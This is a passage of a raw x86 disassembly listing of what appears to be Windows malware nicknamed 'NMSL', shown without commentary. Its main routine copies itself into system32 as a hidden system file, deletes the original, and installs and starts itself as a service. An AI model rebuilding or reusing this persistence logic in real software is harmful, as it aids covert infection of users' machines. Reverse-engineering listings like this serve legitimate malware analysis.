add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 1F4h call dword_411D04 ; Sleep push 0 push 0 push offset sub_404CDF call sub_407CA0 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D38 ; WaitForSingleObject pop ebx retn sub_406A07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A81 proc near ; CODE XREF: sub_407019+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_407AC0 push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_41295C, offset aNmsl ; "NMSL" call sub_40103C call sub_401165 call sub_401097 push offset dword_413974 call dword_411CCC ; InitializeCriticalSection call sub_401F8E mov dword_412938, eax call dword_411D94 ; GetCommandLineA push eax call sub_40122A pop ecx cmp dword_411000, 4 jnz loc_406BBF push offset aUpdate_0 ; "*update" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz loc_406BBF call sub_403604 mov [ebp+var_8], eax call sub_404162 mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_2 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_2 pop ecx push 1770h call dword_411D04 ; Sleep call sub_4053FC push 0FA0h call dword_411D04 ; Sleep call sub_4053FC call sub_403685 and [ebp+var_C], 0 push dword_4128A8 push dword_4128B4 push dword_4128B0 push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_2 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128B0 call sub_403723 add esp, 10h test eax, eax jnz short loc_406BB8 push 0 push 1 push 0 push dword_4128B4 call sub_403723 add esp, 10h test eax, eax jnz short loc_406BB8 push 0 push 1 push 0 push dword_4128A8 call sub_403723 add esp, 10h test eax, eax jz short loc_406BBF loc_406BB8: ; CODE XREF: sub_406A81+105j ; sub_406A81+11Dj xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406BBF: ; CODE XREF: sub_406A81+58j ; sub_406A81+71j ... call sub_40410E test eax, eax jz short loc_406BCF xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406BCF: ; CODE XREF: sub_406A81+145j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jz loc_406CB2 push offset aCopying___ ; "copying...\n" call nullsub_2 pop ecx push 80h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D2C ; SetFileAttributesA push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D28 ; CopyFileA test eax, eax jz loc_406CA4 push 7 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D2C ; SetFileAttributesA lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A8 push edi call sub_407A00 pop ecx pop ecx push dword_4128A8 call sub_4079E0 pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_2 pop ecx pop ecx call sub_404162 lea eax, [ebp+var_2004] push eax call sub_405EBA pop ecx test eax, eax jz short loc_406C89 xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406C89: ; CODE XREF: sub_406A81+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_2 pop ecx call sub_40410E test eax, eax jz short loc_406CAF xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406CA4: ; CODE XREF: sub_406A81+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_2 pop ecx loc_406CAF: ; CODE XREF: sub_406A81+21Aj xor esi, esi inc esi loc_406CB2: ; CODE XREF: sub_406A81+161j call sub_402296 call sub_405B8F push 0 push 0 call sub_4023DC pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_2 pop ecx call sub_4012EC cmp dword_411000, 1 jle loc_406D83 mov eax, dword_4128AC cmp byte ptr [eax], 2Ah jz loc_406D83 push 80h push dword_4128AC call dword_411D2C ; SetFileAttributesA push dword_4128AC call dword_411D50 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_406D67 push dword_4128AC push offset aRemovingS ; "removing: <%s>\n" call nullsub_2 pop ecx pop ecx mov edi, 0Ah jmp short loc_406D60 ; --------------------------------------------------------------------------- loc_406D34: ; CODE XREF: sub_406A81+2E4j push 80h push dword_4128AC call dword_411D2C ; SetFileAttributesA push dword_4128AC call dword_411D1C ; DeleteFileA test eax, eax jnz short loc_406D67 push 3E8h call dword_411D04 ; Sleep loc_406D60: ; CODE XREF: sub_406A81+2B1j dec edi mov eax, edi test eax, eax jnz short loc_406D34 loc_406D67: ; CODE XREF: sub_406A81+298j ; sub_406A81+2D2j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406D83 mov [ebp+var_4], 1 loc_406D83: ; CODE XREF: sub_406A81+262j ; sub_406A81+270j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406DE1 push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406DE1 push offset aWaiting___ ; "*** waiting...\n" call nullsub_2 pop ecx mov edi, 0Ah loc_406DBD: ; CODE XREF: sub_406A81+353j call sub_405048 test eax, eax jz short loc_406DD6 push 1F4h call dword_411D04 ; Sleep dec edi test edi, edi jnz short loc_406DBD loc_406DD6: ; CODE XREF: sub_406A81+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_2 pop ecx loc_406DE1: ; CODE XREF: sub_406A81+315j ; sub_406A81+32Aj call sub_405048 mov ebx, eax test ebx, ebx jnz short loc_406E3A push offset aNoRegisteredSe ; "no registered service, " call nullsub_2 pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406E23 mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_2 pop ecx jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406E23: ; CODE XREF: sub_406A81+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_2 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406E3A: ; CODE XREF: sub_406A81+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_2 pop ecx call sub_405092 test eax, eax jz short loc_406E55 xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406E55: ; CODE XREF: sub_406A81+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_2 pop ecx call sub_4040C3 test eax, eax jnz short loc_406EC4 push offset aInstallingServ ; "installing service, res=" call nullsub_2 pop ecx call sub_4052BA mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_2 pop ecx pop ecx call sub_405441 test eax, eax jnz short loc_406E99 call sub_405517 loc_406E99: ; CODE XREF: sub_406A81+411j call sub_404162 push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_4051E6 test eax, eax jz short loc_406EB9 xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406EB9: ; CODE XREF: sub_406A81+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_2 pop ecx loc_406EC4: ; CODE XREF: sub_406A81+39Dj ; sub_406A81+3B4j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406F05 cmp [ebp+var_4], 0 jz short loc_406F05 test ebx, ebx jnz short loc_406F05 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_2 pop ecx call sub_4052BA test eax, eax jz short loc_406F05 push offset aServiceInstall ; "service installed ok...\n" call nullsub_2 pop ecx xor ebx, ebx inc ebx loc_406F05: ; CODE XREF: sub_406A81+456j ; sub_406A81+45Cj ... test ebx, ebx jz short loc_406F12 call sub_4040C3 test eax, eax jz short loc_406F3C loc_406F12: ; CODE XREF: sub_406A81+486j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406F6C push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406F6C loc_406F3C: ; CODE XREF: sub_406A81+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_404162 call sub_4051E6 test eax, eax jz short loc_406F5C xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406F5C: ; CODE XREF: sub_406A81+4D2j call sub_40410E test eax, eax jz short loc_406F6C xor eax, eax jmp loc_407012 ; --------------------------------------------------------------------------- loc_406F6C: ; CODE XREF: sub_406A81+4A4j ; sub_406A81+4B9j ... call sub_405048 test eax, eax jz short loc_406FC3 call sub_4040C3 test eax, eax jz short loc_406FC3 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push dword_4128A8 call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_406FC3 push offset asc_40E58E ; "**" push dword_4128AC call dword_411D3C ; lstrcmpi test eax, eax jz short loc_406FC3 push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_2 pop ecx call sub_405E59 test eax, eax jz short loc_406FC0 xor eax, eax jmp short loc_407012 ; --------------------------------------------------------------------------- loc_406FC0: ; CODE XREF: sub_406A81+539j xor esi, esi inc esi loc_406FC3: ; CODE XREF: sub_406A81+4F2j ; sub_406A81+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_2 pop ecx test esi, esi jz short loc_406FDE push dword_4128A8 call sub_405B04 pop ecx loc_406FDE: ; CODE XREF: sub_406A81+54Fj call sub_40410E test eax, eax jz short loc_406FEB xor eax, eax jmp short loc_407012 ; --------------------------------------------------------------------------- loc_406FEB: ; CODE XREF: sub_406A81+564j push 0 push 0 push offset sub_406A07 call sub_407CA0 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D38 ; WaitForSingleObject push offset dword_40E000 call nullsub_2 pop ecx xor eax, eax loc_407012: ; CODE XREF: sub_406A81+139j ; sub_406A81+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406A81 endp ; =============== S U B R O U T I N E ======================================= sub_407019 proc near ; CODE XREF: sub_407E30+C1p push ebx call sub_406A81 mov ebx, eax call sub_404162 mov eax, ebx pop ebx retn 10h sub_407019 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40702C proc near ; CODE XREF: sub_40663E+1Bp ; sub_40670D+30p jmp dword_411D88 sub_40702C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407032 proc near ; CODE XREF: sub_40663E+3Cp ; sub_40670D+4Dp jmp dword_411D8C sub_407032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407038 proc near ; CODE XREF: sub_40663E+B6p ; sub_40670D+88p jmp dword_411D90 sub_407038 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40703E proc near ; CODE XREF: sub_4012EC+1Ap ; sub_4012EC+34p jmp dword_411E8C sub_40703E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407044 proc near ; CODE XREF: DMN0:00401350p jmp dword_411E90 sub_407044 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40704A proc near ; CODE XREF: sub_401359+Bp ; DMN0:004013DDp ... jmp dword_411E94 sub_40704A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407050 proc near ; CODE XREF: sub_401359+36p ; sub_401359+53p ... jmp dword_411E98 sub_407050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407056 proc near ; CODE XREF: sub_4014C2+4p ; sub_402B02+152p ... jmp dword_411E9C sub_407056 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40705C proc near ; CODE XREF: sub_4014CF+56p jmp dword_411EA0 sub_40705C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407062 proc near ; CODE XREF: sub_401542+11p jmp dword_411EA4 sub_407062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407068 proc near ; CODE XREF: sub_401567+28p ; sub_4015B7+28p ... jmp dword_411EA8 sub_407068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40706E proc near ; CODE XREF: sub_401567+3Ap jmp dword_411EAC sub_40706E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407074 proc near ; CODE XREF: sub_4015B7+3Ap ; sub_402B02+E5p ... jmp dword_411EB0 sub_407074 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40707A proc near ; CODE XREF: sub_401607+8p jmp dword_411EB4 sub_40707A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407080 proc near ; CODE XREF: sub_401621+30p ; sub_40166C+3Fp jmp dword_411EB8 sub_407080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407086 proc near ; CODE XREF: sub_40166C+5Fp ; DMN0:00401844p ... jmp dword_411EBC sub_407086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40708C proc near ; CODE XREF: sub_4016DC+17p ; sub_401713+18p ... jmp dword_411EC0 sub_40708C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407092 proc near ; CODE XREF: sub_401787+17p jmp dword_411EC4 sub_407092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407098 proc near ; CODE XREF: sub_4017BE+8p ; sub_4025A9+EDp ... jmp dword_411EC8 sub_407098 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40709E proc near ; CODE XREF: sub_4017BE+1Bp jmp dword_411ECC sub_40709E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070A4 proc near ; CODE XREF: DMN0:00401827p jmp dword_411ED0 sub_4070A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070AA proc near ; CODE XREF: DMN0:00401876p jmp dword_411ED4 sub_4070AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070B0 proc near ; CODE XREF: DMN0:00401897p ; sub_403113+5Cp ... jmp dword_411ED8 sub_4070B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070B6 proc near ; CODE XREF: sub_402B02+142p ; sub_403113+FCp ... jmp dword_411EDC sub_4070B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070BC proc near ; CODE XREF: sub_402B02+1DBp ; sub_403113+16Dp ... jmp dword_411EE0 sub_4070BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070C2 proc near ; CODE XREF: sub_402B02+1E4p ; sub_403113+176p ... jmp dword_411EE4 sub_4070C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4070C8 proc near ; CODE XREF: sub_4030A4+23p ; sub_4030A4+4Bp jmp dword_411EEC sub_4070C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4070D0 proc near ; CODE XREF: sub_401048+15p ; DMN0:0040110Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_408530 pop ecx mov ebx, eax test ebx, ebx jz short loc_4070F7 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_4070F7: ; CODE XREF: sub_4070D0+17j mov eax, ebx pop esi pop ebx retn sub_4070D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407100 proc near ; CODE XREF: sub_407480+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_40712B call sub_408730 mov dword ptr [eax], 16h jmp loc_40746D ; --------------------------------------------------------------------------- loc_40712B: ; CODE XREF: sub_407100+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_4071DB mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E8 cmp [esi], eax ja short loc_407190 mov eax, dword_4111E0 cmp [esi], eax ja short loc_407178 mov eax, dword_4111DC cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_40718B ; --------------------------------------------------------------------------- loc_407178: ; CODE XREF: sub_407100+64j mov eax, dword_4111E4 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_40718B: ; CODE XREF: sub_407100+76j mov eax, [ebp+var_10] jmp short loc_4071C1 ; --------------------------------------------------------------------------- loc_407190: ; CODE XREF: sub_407100+5Bj mov eax, dword_4111F0 cmp [esi], eax ja short loc_4071AE mov eax, dword_4111EC cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4071C1 ; --------------------------------------------------------------------------- loc_4071AE: ; CODE XREF: sub_407100+97j mov eax, dword_4111F4 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4071C1: ; CODE XREF: sub_407100+8Ej ; sub_407100+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_4071DB: ; CODE XREF: sub_407100+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_407307 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E8 cmp [eax], edx ja short loc_40723A mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx ja short loc_40721E mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_407235 ; --------------------------------------------------------------------------- loc_40721E: ; CODE XREF: sub_407100+106j mov eax, [ebp+var_4] mov edx, dword_4111E4 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_407235: ; CODE XREF: sub_407100+11Cj mov eax, [ebp+var_10] jmp short loc_407277 ; --------------------------------------------------------------------------- loc_40723A: ; CODE XREF: sub_407100+F9j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx ja short loc_407260 mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407277 ; --------------------------------------------------------------------------- loc_407260: ; CODE XREF: sub_407100+145j mov eax, [ebp+var_4] mov edx, dword_4111F4 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407277: ; CODE XREF: sub_407100+138j ; sub_407100+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_4072C2 mov eax, [ebp+var_8] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111FC, eax jnz short loc_4072F9 jmp short loc_4072AC ; --------------------------------------------------------------------------- loc_4072A6: ; CODE XREF: sub_407100+1BEj inc dword_4111FC loc_4072AC: ; CODE XREF: sub_407100+1A4j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_4072C0 cmp eax, 7 jl short loc_4072A6 loc_4072C0: ; CODE XREF: sub_407100+1B9j jmp short loc_4072F9 ; --------------------------------------------------------------------------- loc_4072C2: ; CODE XREF: sub_407100+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111AC[eax*4] cmp eax, [ebp+var_4] jnz short loc_4072F9 mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111AC[eax*4], edx loc_4072F9: ; CODE XREF: sub_407100+1A2j ; sub_407100:loc_4072C0j ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_407307: ; CODE XREF: sub_407100+E4j cmp edi, dword_4111E8 ja short loc_407341 cmp edi, dword_4111E0 ja short loc_407329 mov eax, dword_4111DC cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_40733C ; --------------------------------------------------------------------------- loc_407329: ; CODE XREF: sub_407100+215j mov eax, dword_4111E4 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_40733C: ; CODE XREF: sub_407100+227j mov eax, [ebp+var_10] jmp short loc_407371 ; --------------------------------------------------------------------------- loc_407341: ; CODE XREF: sub_407100+20Dj cmp edi, dword_4111F0 ja short loc_40735E mov eax, dword_4111EC cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407371 ; --------------------------------------------------------------------------- loc_40735E: ; CODE XREF: sub_407100+247j mov eax, dword_4111F4 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407371: ; CODE XREF: sub_407100+23Fj ; sub_407100+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_40746D cmp [ebp+var_C], 0 jl short loc_4073F9 mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_4073C8 mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_4073F9 jmp short loc_4073B2 ; --------------------------------------------------------------------------- loc_4073AC: ; CODE XREF: sub_407100+2C4j inc dword_4111FC loc_4073B2: ; CODE XREF: sub_407100+2AAj mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_4073C6 cmp eax, 7 jl short loc_4073AC loc_4073C6: ; CODE XREF: sub_407100+2BFj jmp short loc_4073F9 ; --------------------------------------------------------------------------- loc_4073C8: ; CODE XREF: sub_407100+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_4073F9 mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111AC[eax*4], edx loc_4073F9: ; CODE XREF: sub_407100+284j ; sub_407100+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111AC[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_40742F mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111AC[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111FC, eax jle short loc_407438 mov eax, [ebp+var_8] mov dword_4111FC, eax jmp short loc_407438 ; --------------------------------------------------------------------------- loc_40742F: ; CODE XREF: sub_407100+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_407438: ; CODE XREF: sub_407100+323j ; sub_407100+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_411200, eax mov dword_4111AC[eax*4], ebx loc_40746D: ; CODE XREF: sub_407100+26j ; sub_407100+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407480 proc near ; CODE XREF: sub_401076+Fp ; DMN0:00401138p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004074F3 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F88C push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_4074F3 lea eax, [ebx-4] cmp eax, dword_4111D4 jbe short loc_4074C0 cmp eax, dword_4111D0 jb short loc_4074C9 loc_4074C0: ; CODE XREF: sub_407480+36j push ebx call sub_4089C0 pop ecx jmp short loc_4074F3 ; --------------------------------------------------------------------------- loc_4074C9: ; CODE XREF: sub_407480+3Ej push 0 call sub_408AD0 pop ecx mov [ebp+var_4], 0 push ebx call sub_407100 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_4074EA jmp short loc_4074F3 sub_407480 endp ; =============== S U B R O U T I N E ======================================= sub_4074EA proc near ; CODE XREF: sub_407480+63p ; DATA XREF: DMN0:0040F894o push 0 call sub_408B50 pop ecx retn sub_4074EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407480 loc_4074F3: ; CODE XREF: sub_407480+2Bj ; sub_407480+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407480 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407510 proc near ; DATA XREF: sub_407550+38o ; sub_4489BB+38o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] mov edi, ebx cmp [edi+4], esi jnb short loc_407526 mov esi, [edi+4] loc_407526: ; CODE XREF: sub_407510+11j push esi mov eax, [ebp+arg_4] push eax mov eax, [edi] push eax call sub_4079C0 add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_407510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407550 proc near ; CODE XREF: DMN0:004010F0p ; DMN0:00401120p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_40756C lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_40757C ; --------------------------------------------------------------------------- loc_40756C: ; CODE XREF: sub_407550+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_40757C: ; CODE XREF: sub_407550+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407510 call sub_408B70 add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_407550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075B0 proc near ; DATA XREF: sub_4075F0+22o ; sub_448A5B+22o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push 0 lea eax, [ebp+var_4] push eax push esi mov eax, [ebp+arg_4] push eax push ebx call dword_411D98 ; WriteConsoleA test eax, eax jz short loc_4075DE cmp [ebp+var_4], esi jnz short loc_4075DE mov edi, ebx jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075DE: ; CODE XREF: sub_4075B0+23j ; sub_4075B0+28j xor edi, edi loc_4075E0: ; CODE XREF: sub_4075B0+2Cj mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4075B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075F0 proc near ; CODE XREF: DMN0:00401130p ; DMN0:0040114Cp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_408DF0 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_407609 or eax, 0FFFFFFFFh jmp short loc_407621 ; --------------------------------------------------------------------------- loc_407609: ; CODE XREF: sub_4075F0+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset 